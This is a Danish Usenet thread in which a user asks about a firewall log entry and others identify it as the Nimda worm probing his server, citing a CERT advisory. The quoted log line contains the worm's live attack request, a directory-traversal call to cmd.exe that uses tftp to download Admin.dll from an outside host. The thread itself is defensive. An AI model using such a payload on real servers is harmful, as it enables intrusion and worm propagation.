---

I min firewall får jeg følgende i loggen :

Statistics: duration=0.20 id=5lzRW sent=154 rcvd=356 srcif=Vpn6
src=195.124.11.51/4239 cldst=*.*.*.*/80 svsrc=192.168.0.1/49343 dstif=Vpn4
dst=192.168.0.11/80 op=GET
arg=/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20195.127.148.13
%20GET%20Admin.dll%20e:\\Admin.dll result="200 -- HTTP/0.9" proto=http
rule=6

Det ligneer mistænkeligt et forsøg på hacking eller ???

---

Peter Føhns wrote:
> I min firewall får jeg følgende i loggen :

Du er den heldige ejer af Nimda ormen i dine logfiler.

> Det ligneer mistænkeligt et forsøg på hacking eller ???

Ja, se:
<https://www.cert.dk/nyhed/nyheder.shtml?01-09-19-18-23-34>

--
Danny B.

---

Er det ikke mere et spørgsmål om at de har nimda og ikke jeg ??

"Danny B." <padde@beastie.dk> wrote in message
news:3BA9AD24.4070404@beastie.dk...
> Peter Føhns wrote:
> > I min firewall får jeg følgende i loggen :
>
> Du er den heldige ejer af Nimda ormen i dine logfiler.
>
> > Det ligneer mistænkeligt et forsøg på hacking eller ???
>
> Ja, se:
> <https://www.cert.dk/nyhed/nyheder.shtml?01-09-19-18-23-34>
>
> --
> Danny B.
>

---

Peter Føhns wrote:

> Er det ikke mere et spørgsmål om at de har nimda og ikke jeg ??

Jo, men den angriber vilkårlige IP-adresser og herunder
din.

PS Læs venligst www.usenet.dk/netikette/quote.html

--
Paw P Larsen | pl @ wer.dk | http://plawer.dk/
Scribbles about security on Cisco 677 at
http://plawer.dk/scribbles/

---

Paw P Larsen wrote:
>
> PS Læs venligst www.usenet.dk/netikette/quote.html
>
eller prøve at læse de sidste 5 tråde! der er ingen grund til at poste
et spørgsmål som er besvaret 5 gange tidligere ..

/Kim

---

Hej Peter,

Jo, det betydder, at en der er inficeret forsøger at sprede smitten
til dig.

Ormen har været kendt et par dage, som du også kan læse en del om i
denne gruppe.

Med venlig hilsen

Steffen Møller